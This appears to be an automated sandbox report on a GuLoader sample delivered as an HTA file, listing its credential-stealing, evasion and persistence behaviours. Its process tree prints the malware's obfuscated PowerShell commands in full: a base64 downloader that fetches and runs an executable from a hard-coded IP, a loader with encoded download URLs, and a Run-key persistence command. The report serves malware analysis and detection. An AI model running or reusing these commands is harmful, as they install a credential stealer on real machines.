guloader | f9ef47c6f722307c0a1df59c932898e4fcb365a3e53c13066aeb7d92439382de

Resubmissions

08/08/2024, 12:20

240808-ph937stbnr8

08/08/2024, 12:15

240808-pfakkatbml10

Analysis

max time kernel
147s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
08/08/2024, 12:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IEnetwork.hta
Size 152KB
Sample240808-pfakkatbml
SHA256 f9ef47c6f722307c0a1df59c932898e4fcb365a3e53c13066aeb7d92439382de
MD5 d2558185d1f9381341a3d71f8cfaad7c
SHA1 ec058a416fcfe8277931503cc63a7f72b429ee92
SHA512 177a87e1a339956893011a558ee2e966c7d7ccc0f74bb21f13a72dc2a998251b13e0bc94cec1f3972d946309bb452561f6302f25f9ca56912099b566b124c134
SSDEEP 768:tZ6A3yXNA0AGAWTiGHriGCX57fY5ExiG3HJQiXAZO:tn
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection credential_access defense_evasion discovery downloader execution persistence stealer

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/3428-118-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/3160-119-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/3864-125-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3160-119-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3428-118-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 4 IoCs

flow	pid	Process
19	2344	powershell.exe
53	792	powershell.exe
56	792	powershell.exe
58	792	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2308	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
1092	cmd.exe
2344	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
4612	sahost.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Gobelinernes = "%Forsgscentres% -windowstyle minimized $Postlisten=(Get-ItemProperty -Path 'HKCU:\\Fodboldstvlers\\').Jalousing;%Forsgscentres% ($Postlisten)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
4736	wab.exe
4736	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2308	powershell.exe
4736	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2308 set thread context of 4736	2308	powershell.exe	97
PID 4736 set thread context of 3428	4736	wab.exe	105
PID 4736 set thread context of 3160	4736	wab.exe	106
PID 4736 set thread context of 3864	4736	wab.exe	107

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sahost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x000c0000000234b4-65.dat	nsis_installer_1
behavioral2/files/0x000c0000000234b4-65.dat	nsis_installer_2

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings	wab.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2540	reg.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
2344	powershell.exe
2344	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
3428	wab.exe
3428	wab.exe
3864	wab.exe
3864	wab.exe
3428	wab.exe
3428	wab.exe
792	powershell.exe
792	powershell.exe
2960	powershell.exe
2960	powershell.exe
2960	powershell.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2308	powershell.exe
4736	wab.exe
4736	wab.exe
4736	wab.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	3864	wab.exe
Token: SeDebugPrivilege	792	powershell.exe
Token: SeDebugPrivilege	2960	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4736	wab.exe

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 3164 wrote to memory of 1092	3164	mshta.exe	87
PID 3164 wrote to memory of 1092	3164	mshta.exe	87
PID 3164 wrote to memory of 1092	3164	mshta.exe	87
PID 1092 wrote to memory of 2344	1092	cmd.exe	89
PID 1092 wrote to memory of 2344	1092	cmd.exe	89
PID 1092 wrote to memory of 2344	1092	cmd.exe	89
PID 2344 wrote to memory of 5008	2344	powershell.exe	91
PID 2344 wrote to memory of 5008	2344	powershell.exe	91
PID 2344 wrote to memory of 5008	2344	powershell.exe	91
PID 5008 wrote to memory of 1712	5008	csc.exe	92
PID 5008 wrote to memory of 1712	5008	csc.exe	92
PID 5008 wrote to memory of 1712	5008	csc.exe	92
PID 2344 wrote to memory of 4612	2344	powershell.exe	93
PID 2344 wrote to memory of 4612	2344	powershell.exe	93
PID 2344 wrote to memory of 4612	2344	powershell.exe	93
PID 4612 wrote to memory of 2308	4612	sahost.exe	94
PID 4612 wrote to memory of 2308	4612	sahost.exe	94
PID 4612 wrote to memory of 2308	4612	sahost.exe	94
PID 2308 wrote to memory of 4736	2308	powershell.exe	97
PID 2308 wrote to memory of 4736	2308	powershell.exe	97
PID 2308 wrote to memory of 4736	2308	powershell.exe	97
PID 2308 wrote to memory of 4736	2308	powershell.exe	97
PID 2308 wrote to memory of 4736	2308	powershell.exe	97
PID 4736 wrote to memory of 3948	4736	wab.exe	98
PID 4736 wrote to memory of 3948	4736	wab.exe	98
PID 4736 wrote to memory of 3948	4736	wab.exe	98
PID 3948 wrote to memory of 2540	3948	cmd.exe	100
PID 3948 wrote to memory of 2540	3948	cmd.exe	100
PID 3948 wrote to memory of 2540	3948	cmd.exe	100
PID 4736 wrote to memory of 3684	4736	wab.exe	104
PID 4736 wrote to memory of 3684	4736	wab.exe	104
PID 4736 wrote to memory of 3684	4736	wab.exe	104
PID 4736 wrote to memory of 3428	4736	wab.exe	105
PID 4736 wrote to memory of 3428	4736	wab.exe	105
PID 4736 wrote to memory of 3428	4736	wab.exe	105
PID 4736 wrote to memory of 3428	4736	wab.exe	105
PID 4736 wrote to memory of 3160	4736	wab.exe	106
PID 4736 wrote to memory of 3160	4736	wab.exe	106
PID 4736 wrote to memory of 3160	4736	wab.exe	106
PID 4736 wrote to memory of 3160	4736	wab.exe	106
PID 4736 wrote to memory of 3864	4736	wab.exe	107
PID 4736 wrote to memory of 3864	4736	wab.exe	107
PID 4736 wrote to memory of 3864	4736	wab.exe	107
PID 4736 wrote to memory of 3864	4736	wab.exe	107
PID 3684 wrote to memory of 792	3684	WScript.exe	108
PID 3684 wrote to memory of 792	3684	WScript.exe	108
PID 3684 wrote to memory of 792	3684	WScript.exe	108
PID 792 wrote to memory of 2252	792	powershell.exe	110
PID 792 wrote to memory of 2252	792	powershell.exe	110
PID 792 wrote to memory of 2252	792	powershell.exe	110
PID 792 wrote to memory of 2960	792	powershell.exe	111
PID 792 wrote to memory of 2960	792	powershell.exe	111
PID 792 wrote to memory of 2960	792	powershell.exe	111
PID 2960 wrote to memory of 4248	2960	powershell.exe	112
PID 2960 wrote to memory of 4248	2960	powershell.exe	112
PID 2960 wrote to memory of 4248	2960	powershell.exe	112

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\IEnetwork.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3164
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c powershell.eXE -Ex ByPaSS -NOP -w 1 -c DEViCecredENtialDepLoyMenT ; IEx($(iEX('[sySTEm.tExT.EncODiNG]'+[ChAR]0X3A+[CHAr]0X3A+'UtF8.gETStRing([SYSTEm.coNVeRT]'+[cHar]58+[CHAR]0X3a+'froMBase64StRinG('+[chaR]0X22+'JERhN1N0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUmRFZkluaVRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbG1vTi5kbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZNWXBXaHdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpelR1SyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmpRUEosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQUWNnQUhTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLeXgpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImZCTHduZmJJQVgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1FU3BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnhGUVZyakggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkRGE3U3Q6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8yMy45NC4yMzkuMTEyLzExNC9zYWhvc3QuZXhlIiwiJEVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7U1RhclQtU2xlRVAoMyk7c1RBUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxzYWhvc3QuZXhlIg=='+[chAr]0x22+'))')))"
  2⤵
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1092
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.eXE -Ex ByPaSS -NOP -w 1 -c DEViCecredENtialDepLoyMenT ; IEx($(iEX('[sySTEm.tExT.EncODiNG]'+[ChAR]0X3A+[CHAr]0X3A+'UtF8.gETStRing([SYSTEm.coNVeRT]'+[cHar]58+[CHAR]0X3a+'froMBase64StRinG('+[chaR]0X22+'JERhN1N0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUmRFZkluaVRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbG1vTi5kbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZNWXBXaHdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpelR1SyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmpRUEosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQUWNnQUhTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLeXgpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImZCTHduZmJJQVgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1FU3BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnhGUVZyakggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkRGE3U3Q6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8yMy45NC4yMzkuMTEyLzExNC9zYWhvc3QuZXhlIiwiJEVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7U1RhclQtU2xlRVAoMyk7c1RBUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxzYWhvc3QuZXhlIg=='+[chAr]0x22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2344
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hahnxc1o\hahnxc1o.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5008
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDE3A.tmp" "c:\Users\Admin\AppData\Local\Temp\hahnxc1o\CSC7D226A129E2345DE81771FF31B6EC44E.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1712
  - - C:\Users\Admin\AppData\Roaming\sahost.exe
      "C:\Users\Admin\AppData\Roaming\sahost.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4612
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -windowstyle hidden "$genudsender=Get-Content 'C:\Users\Admin\AppData\Local\Temp\unroven\Dognaped\savklinge\Subconformable.Pla';$Cuculine=$genudsender.SubString(3208,3);.$Cuculine($genudsender)"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2308
      - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        6⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4736
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Gobelinernes" /t REG_EXPAND_SZ /d "%Forsgscentres% -windowstyle minimized $Postlisten=(Get-ItemProperty -Path 'HKCU:\Fodboldstvlers\').Jalousing;%Forsgscentres% ($Postlisten)"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3948
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Gobelinernes" /t REG_EXPAND_SZ /d "%Forsgscentres% -windowstyle minimized $Postlisten=(Get-ItemProperty -Path 'HKCU:\Fodboldstvlers\').Jalousing;%Forsgscentres% ($Postlisten)"
        8⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:2540
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Forfrelsens.vbs"
        7⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3684
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h, N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance (Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94 'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L ');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,. G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
        8⤵
        Blocklisted process makes network request
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:792
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:2252
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') 